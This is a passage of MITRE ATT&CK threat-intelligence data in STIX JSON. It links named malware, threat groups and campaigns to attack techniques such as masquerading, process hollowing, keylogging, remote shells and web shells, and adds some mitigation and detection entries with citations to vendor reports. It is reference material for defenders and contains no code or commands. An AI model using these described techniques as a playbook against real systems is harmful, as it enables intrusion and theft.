2020","url":"https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/","description":"kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries — HpReact campaign. Retrieved November 20, 2020."}],"modified":"2020-11-23T22:19:46.820Z","description":"[Machete](https://attack.mitre.org/groups/G0095)'s [Machete](https://attack.mitre.org/software/S0409) MSI installer has masqueraded as a legitimate Adobe Acrobat Reader installer.(Citation: 360 Machete Sep 2020)","relationship_type":"uses","source_ref":"intrusion-set--38863958-a201-4ce1-9dbe-539b0b6804e0","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b19ff9ec-1a64-4401-9bbd-e3af5a13ec7f","created":"2024-02-12T21:08:40.831Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Ensilo Darkgate 2018","description":"Adi Zeligson & Rotem Kerner. (2018, November 13). Enter The DarkGate - New Cryptocurrency Mining and Ransomware Campaign. Retrieved February 9, 2024.","url":"https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign"},{"source_name":"Trellix Darkgate 2023","description":"Ernesto Fernández Provecho, Pham Duy Phuc, Ciana Driscoll & Vinoo Thomas. (2023, November 21). The Continued Evolution of the DarkGate Malware-as-a-Service. Retrieved February 9, 2024.","url":"https://www.trellix.com/blogs/research/the-continued-evolution-of-the-darkgate-malware-as-a-service/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-14T20:19:15.745Z","description":"[DarkGate](https://attack.mitre.org/software/S1111) creates a log file for capturing keylogging, clipboard, and related data using the victim host's current date for the filename.(Citation: Ensilo Darkgate 2018) [DarkGate](https://attack.mitre.org/software/S1111) queries victim system epoch time during execution.(Citation: Ensilo Darkgate 2018) [DarkGate](https://attack.mitre.org/software/S1111) captures system time information as part of automated profiling on initial installation.(Citation: Trellix Darkgate 2023)","relationship_type":"uses","source_ref":"malware--6f6f67c9-556d-4459-95c2-78d272190e52","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b1a27372-01f1-4abf-b586-949e9e796c32","created":"2023-01-11T21:40:56.884Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Trend Micro AvosLocker Apr 2022","description":"Trend Micro Research. (2022, April 4). Ransomware Spotlight AvosLocker. Retrieved January 11, 2023.","url":"https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-avoslocker"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-07T23:03:13.404Z","description":"[AvosLocker](https://attack.mitre.org/software/S1053) has been disguised as a .jpg file.(Citation: Trend Micro AvosLocker Apr 2022)","relationship_type":"uses","source_ref":"malware--0945a1a5-a79a-47c8-9079-10c16cdfcb5d","target_ref":"attack-pattern--208884f1-7b83-4473-ac22-4e1cf6c41471","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b1a30826-465a-4342-8ceb-e0bd4ef50063","type":"relationship","created":"2020-12-15T01:30:05.491Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 Molerat Mar 2020","url":"https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/","description":"Falcone, R., et al. (2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020."}],"modified":"2020-12-15T01:30:05.491Z","description":"[Spark](https://attack.mitre.org/software/S0543) has used a custom XOR algorithm to decrypt the payload.(Citation: Unit42 Molerat Mar 2020) ","relationship_type":"uses","source_ref":"malware--03ea629c-517a-41e3-94f8-c7e5368cf8f4","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b1aab9dc-267d-4208-b1bc-14396d7e0d8d","created":"2023-02-15T17:00:55.761Z","revoked":false,"external_references":[{"source_name":"Malwarebytes AvosLocker Jul 2021","description":"Hasherezade. (2021, July 23). AvosLocker enters the ransomware scene, asks for partners. Retrieved January 11, 2023.","url":"https://www.malwarebytes.com/blog/threat-intelligence/2021/07/avoslocker-enters-the-ransomware-scene-asks-for-partners"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-15T17:00:55.761Z","description":"[AvosLocker](https://attack.mitre.org/software/S1053) has hidden its console window by using the `ShowWindow` API function.(Citation: Malwarebytes AvosLocker Jul 2021)","relationship_type":"uses","source_ref":"malware--0945a1a5-a79a-47c8-9079-10c16cdfcb5d","target_ref":"attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b1b17a6e-991a-4ead-aedd-c7b1f09ce17c","created":"2024-05-29T20:53:44.948Z","revoked":false,"external_references":[{"source_name":"SentinelOne Gootloader June 2021","description":"Pirozzi, A. (2021, June 16). Gootloader: ‘Initial Access as a Service’ Platform Expands Its Search for High Value Targets. Retrieved May 28, 2024.","url":"https://www.sentinelone.com/labs/gootloader-initial-access-as-a-service-platform-expands-its-search-for-high-value-targets/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-29T20:53:44.948Z","description":"[Gootloader](https://attack.mitre.org/software/S1138) can retrieve a Base64 encoded stager from C2.(Citation: SentinelOne Gootloader June 2021)","relationship_type":"uses","source_ref":"malware--396c18b9-26fb-4435-8589-fb856502e4c4","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b1b935ac-1823-48a8-ac16-b9d17e519475","created":"2023-03-31T18:08:48.741Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Dragos Crashoverride 2018","description":"Joe Slowik. (2018, October 12). Anatomy of an Attack: Detecting and Defeating CRASHOVERRIDE. Retrieved December 18, 2020.","url":"https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-14T13:50:46.379Z","description":"During the [2016 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0025), [Sandworm Team](https://attack.mitre.org/groups/G0034) used [Mimikatz](https://attack.mitre.org/software/S0002) to capture and use legitimate credentials.(Citation: Dragos Crashoverride 2018)","relationship_type":"uses","source_ref":"campaign--aa73efef-1418-4dbe-b43c-87a498e97234","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--b1bd60cf-f120-4ed1-b891-0ae3fab2a725","created":"2018-10-17T00:14:20.652Z","x_mitre_version":"1.0","external_references":[{"source_name":"CISA AR18-352A Quasar RAT December 2018","url":"https://www.cisa.gov/uscert/ncas/analysis-reports/AR18-352A","description":"CISA. (2018, December 18). Analysis Report (AR18-352A) Quasar Open-Source Remote Administration Tool. Retrieved August 1, 2022."},{"source_name":"GitHub QuasarRAT","url":"https://github.com/quasar/QuasarRAT","description":"MaxXor. (n.d.). QuasarRAT. Retrieved July 10, 2018."}],"x_mitre_deprecated":false,"revoked":false,"description":"[QuasarRAT](https://attack.mitre.org/software/S0262) can launch a remote shell to execute commands on the victim’s machine.(Citation: GitHub QuasarRAT)(Citation: CISA AR18-352A Quasar RAT December 2018)","modified":"2022-08-02T18:06:56.715Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--da04ac30-27da-4959-a67d-450ce47d9470","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b1bddecd-763f-42f2-bb49-360d2507b7a6","created":"2023-03-28T19:10:49.805Z","revoked":false,"external_references":[{"source_name":"Mandiant APT29 Microsoft 365 2022","description":"Douglas Bienstock. (2022, August 18). You Can’t Audit Me: APT29 Continues Targeting Microsoft 365. Retrieved February 23, 2023.","url":"https://www.mandiant.com/resources/blog/apt29-continues-targeting-microsoft"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-28T19:10:49.805Z","description":"[APT29](https://attack.mitre.org/groups/G0016) has used a compromised account to access an organization's VPN infrastructure.(Citation: Mandiant APT29 Microsoft 365 2022)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b1c26420-ee32-44db-9158-781d38d7cc3b","type":"relationship","created":"2020-06-16T20:51:12.866Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 Redaman January 2019","url":"https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/","description":"Duncan, B., Harbison, M. (2019, January 23). Russian Language Malspam Pushing Redaman Banking Malware. Retrieved June 16, 2020."}],"modified":"2020-06-16T20:51:12.866Z","description":"[RTM](https://attack.mitre.org/software/S0148) has initiated connections to external domains using HTTPS.(Citation: Unit42 Redaman January 2019)\t","relationship_type":"uses","source_ref":"malware--92ec0cbd-2c30-44a2-b270-73f4ec949841","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b1c27a03-1598-41eb-b2e6-426704d22ba8","created":"2019-06-18T18:40:33.794Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Flashpoint FIN 7 March 2019","description":"Platt, J. and Reeves, J.. (2019, March). FIN7 Revisited: Inside Astra Panel and SQLRat Malware. Retrieved June 18, 2019.","url":"https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T05:36:24.682Z","description":"[SQLRat](https://attack.mitre.org/software/S0390) has used a character insertion obfuscation technique, making the script appear to contain Chinese characters.(Citation: Flashpoint FIN 7 March 2019)","relationship_type":"uses","source_ref":"malware--8fc6c9e7-a162-4ca4-a488-f1819e9a7b06","target_ref":"attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b1c307de-b924-4332-b8db-3c371e46430e","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/","description":"Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims’ Systems. Retrieved June 6, 2018.","source_name":"McAfee Gold Dragon"}],"modified":"2020-04-21T23:09:31.616Z","description":"[RunningRAT](https://attack.mitre.org/software/S0253) gathers the OS version, logical drives information, processor information, and volume information.(Citation: McAfee Gold Dragon)","relationship_type":"uses","source_ref":"malware--60d50676-459a-47dd-92e9-a827a9fe9c58","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b1c49faa-0b6f-4a0e-85da-5ab8ddeab2ce","type":"relationship","created":"2017-05-31T21:33:27.071Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf","description":"FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.","source_name":"FireEye FIN6 April 2016"}],"modified":"2019-06-28T14:59:17.705Z","description":"[FIN6](https://attack.mitre.org/groups/G0037) used publicly available tools (including Microsoft's built-in SQL querying tool, osql.exe) to map the internal network and conduct reconnaissance against Active Directory, Structured Query Language (SQL) servers, and NetBIOS.(Citation: FireEye FIN6 April 2016)","relationship_type":"uses","source_ref":"intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b1c4fbea-d3d4-4e9a-ab46-8683f2bde40b","type":"relationship","created":"2019-05-02T14:41:03.429Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Gannon, M. (2019, February 11). With Upgrades in Delivery and Support Infrastructure, Revenge RAT Malware is a Bigger Threat. Retrieved May 1, 2019.","url":"https://cofense.com/upgrades-delivery-support-infrastructure-revenge-rat-malware-bigger-threat/","source_name":"Cofense RevengeRAT Feb 2019"}],"modified":"2019-06-12T20:05:18.399Z","description":"[Revenge RAT](https://attack.mitre.org/software/S0379) uses the PowerShell command Reflection.Assembly to load itself into memory to aid in execution.(Citation: Cofense RevengeRAT Feb 2019)","relationship_type":"uses","source_ref":"malware--bdb27a1d-1844-42f1-a0c0-826027ae0326","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b1c5e842-5fdd-445e-a778-ffc9ca7ef219","created":"2024-09-25T20:21:26.216Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Trend Micro Ransomware Spotlight Play July 2023","description":"Trend Micro Research. (2023, July 21). Ransomware Spotlight: Play. Retrieved September 24, 2024.","url":"https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-play"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T20:21:46.935Z","description":"[Playcrypt](https://attack.mitre.org/software/S1162) can avoid encrypting files with a .PLAY, .exe, .msi, .dll, .lnk, or .sys file extension.(Citation: Trend Micro Ransomware Spotlight Play July 2023)","relationship_type":"uses","source_ref":"malware--28ad4983-151e-4e30-9792-768470e92b3e","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b1c7a31e-1920-4750-bdd6-bd4c9908c319","type":"relationship","created":"2020-03-15T15:37:47.706Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://technet.microsoft.com/en-us/library/cc700828.aspx","description":"Microsoft. (2004, February 6). Perimeter Firewall Design. Retrieved April 25, 2016.","source_name":"TechNet Firewall Design"}],"modified":"2021-10-15T22:49:28.665Z","description":"Follow best practices for network firewall configurations to allow only necessary ports and traffic to enter and exit the network.(Citation: TechNet Firewall Design)","relationship_type":"mitigates","source_ref":"course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c","target_ref":"attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b1ca60ac-cef2-467e-843c-5732d8885626","type":"relationship","created":"2019-04-10T15:25:18.414Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.","url":"https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage","source_name":"Symantec Elfin Mar 2019"}],"modified":"2019-06-28T15:05:33.242Z","description":"[APT33](https://attack.mitre.org/groups/G0064) has used SniffPass to collect credentials by sniffing network traffic.(Citation: Symantec Elfin Mar 2019)","relationship_type":"uses","source_ref":"intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f","target_ref":"attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b1ce8372-ecac-40c4-9b92-a6073cacec31","created":"2024-03-05T19:54:03.632Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Volexity Ivanti Global Exploitation January 2024","description":"Gurkok, C. et al. (2024, January 15). Ivanti Connect Secure VPN Exploitation Goes Global. Retrieved February 27, 2024.","url":"https://www.volexity.com/blog/2024/01/15/ivanti-connect-secure-vpn-exploitation-goes-global/"},{"source_name":"Mandiant Cutting Edge January 2024","description":"McLellan, T. et al. (2024, January 12). Cutting Edge: Suspected APT Targets Ivanti Connect Secure VPN in New Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-17T21:13:28.661Z","description":"During [Cutting Edge](https://attack.mitre.org/campaigns/C0029), threat actors used compromised and out-of-support Cyberoam VPN appliances for C2.(Citation: Mandiant Cutting Edge January 2024)(Citation: Volexity Ivanti Global Exploitation January 2024)","relationship_type":"uses","source_ref":"campaign--4fdd2487-26c1-494e-8702-ec5abe9aa1d9","target_ref":"attack-pattern--149b477f-f364-4824-b1b5-aa1d56115869","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b1d1e98b-e3fe-43d8-8b6d-810d8bc6cfab","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"objsee mac malware 2017","description":"Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.","url":"https://objective-see.com/blog/blog_0x25.html"}],"modified":"2020-01-17T22:37:17.395Z","description":"[iKitten](https://attack.mitre.org/software/S0278) saves itself with a leading \".\" so that it's hidden from users by default.(Citation: objsee mac malware 2017)","relationship_type":"uses","source_ref":"malware--2cfe8a26-5be7-4a09-8915-ea3d9e787513","target_ref":"attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b1d2af9e-7d5a-4809-b88b-e192fb138ea3","type":"relationship","created":"2022-03-30T14:26:51.873Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.873Z","description":"Monitor for changes made to processes that may inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges.","source_ref":"x-mitre-data-component--d5fca4e4-e47a-487b-873f-3d22f8865e96","target_ref":"attack-pattern--41d9846c-f6af-4302-a654-24bba2729bc6","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b1d2f617-f0ca-43b8-921c-687fad920f39","type":"relationship","created":"2019-01-30T19:50:46.755Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/","source_name":"Unit 42 NOKKI Sept 2018"}],"modified":"2020-03-17T01:58:31.602Z","description":"[NOKKI](https://attack.mitre.org/software/S0353) has used rundll32 for execution.(Citation: Unit 42 NOKKI Sept 2018)","relationship_type":"uses","source_ref":"malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b1d3cf17-19f6-4418-8739-6909fb500e14","created":"2024-07-25T22:33:22.826Z","revoked":false,"external_references":[{"source_name":"ESET EvasivePanda 2024","description":"Ahn Ho, Facundo Muñoz, & Marc-Etienne M.Léveillé. (2024, March 7). Evasive Panda leverages Monlam Festival to target Tibetans. Retrieved July 25, 2024.","url":"https://www.welivesecurity.com/en/eset-research/evasive-panda-leverages-monlam-festival-target-tibetans/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-25T22:33:22.826Z","description":"[Nightdoor](https://attack.mitre.org/software/S1147) gathers information on victim system network configuration such as MAC addresses.(Citation: ESET EvasivePanda 2024)","relationship_type":"uses","source_ref":"malware--51f78dfc-52f9-424e-8753-bb4246188313","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b1de5210-fbd9-4439-8d1a-bc400054d0ad","created":"2021-07-29T17:26:19.886Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant APT29 Eye Spy Email Nov 22","description":"Mandiant. (2022, May 2). UNC3524: Eye Spy on Your Email. Retrieved August 17, 2023.","url":"https://www.mandiant.com/resources/blog/unc3524-eye-spy-email"},{"source_name":"Cybersecurity Advisory SVR TTP May 2021","description":"NCSC, CISA, FBI, NSA. (2021, May 7). Further TTPs associated with SVR cyber actors. Retrieved July 29, 2021.","url":"https://www.ncsc.gov.uk/files/Advisory-further-TTPs-associated-with-SVR-cyber-actors.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-17T19:09:41.181Z","description":"[APT29](https://attack.mitre.org/groups/G0016) has installed web shells on exploited Microsoft Exchange servers.(Citation: Cybersecurity Advisory SVR TTP May 2021)(Citation: Mandiant APT29 Eye Spy Email Nov 22)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b1df64c9-782d-4452-8c4a-5ef933503c13","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"OilRig New Delivery Oct 2017","description":"Falcone, R. and Lee, B. (2017, October 9). OilRig Group Steps Up Attacks with New Delivery Documents and New Injector Trojan. Retrieved January 8, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/10/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/"}],"modified":"2020-03-28T21:35:37.243Z","description":"[ISMInjector](https://attack.mitre.org/software/S0189) hollows out a newly created process RegASM.exe and injects its payload into the hollowed process.(Citation: OilRig New Delivery Oct 2017)","relationship_type":"uses","source_ref":"malware--5be33fef-39c0-4532-84ee-bea31e1b5324","target_ref":"attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b1e43f0e-e68e-427c-9b94-09080ef6634a","created":"2024-08-30T13:54:25.094Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TrustedSec OOB Communications","description":"Tyler Hudak. (2022, December 29). To OOB, or Not to OOB?: Why Out-of-Band Communications are Essential for Incident Response. Retrieved August 30, 2024.","url":"https://trustedsec.com/blog/to-oob-or-not-to-oob-why-out-of-band-communications-are-essential-for-incident-response"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-14T13:46:28.170Z","description":"Implement secure out-of-band communication channels to use as an alternative to in-network chat applications during a security incident. This ensures that critical communications remain secure even if primary messaging channels are compromised by adversaries.(Citation: TrustedSec OOB Communications)","relationship_type":"mitigates","source_ref":"course-of-action--80a0e940-f683-4fbd-ac00-e9f935f2f808","target_ref":"attack-pattern--fb75213f-cfb0-40bf-a02f-3bad93d6601e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b1ed7715-2145-4b26-b414-8f83a29e1f74","created":"2023-09-19T17:06:31.962Z","revoked":false,"external_references":[{"source_name":"Telefonica Snip3 December 2021","description":"Jornet, A. (2021, December 23). Snip3, an investigation into malware. Retrieved September 19, 2023.","url":"https://telefonicatech.com/blog/snip3-investigacion-malware"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T17:06:31.962Z","description":"[Snip3](https://attack.mitre.org/software/S1086) has been delivered to victims through e-mail links to malicious files.(Citation: Telefonica Snip3 December 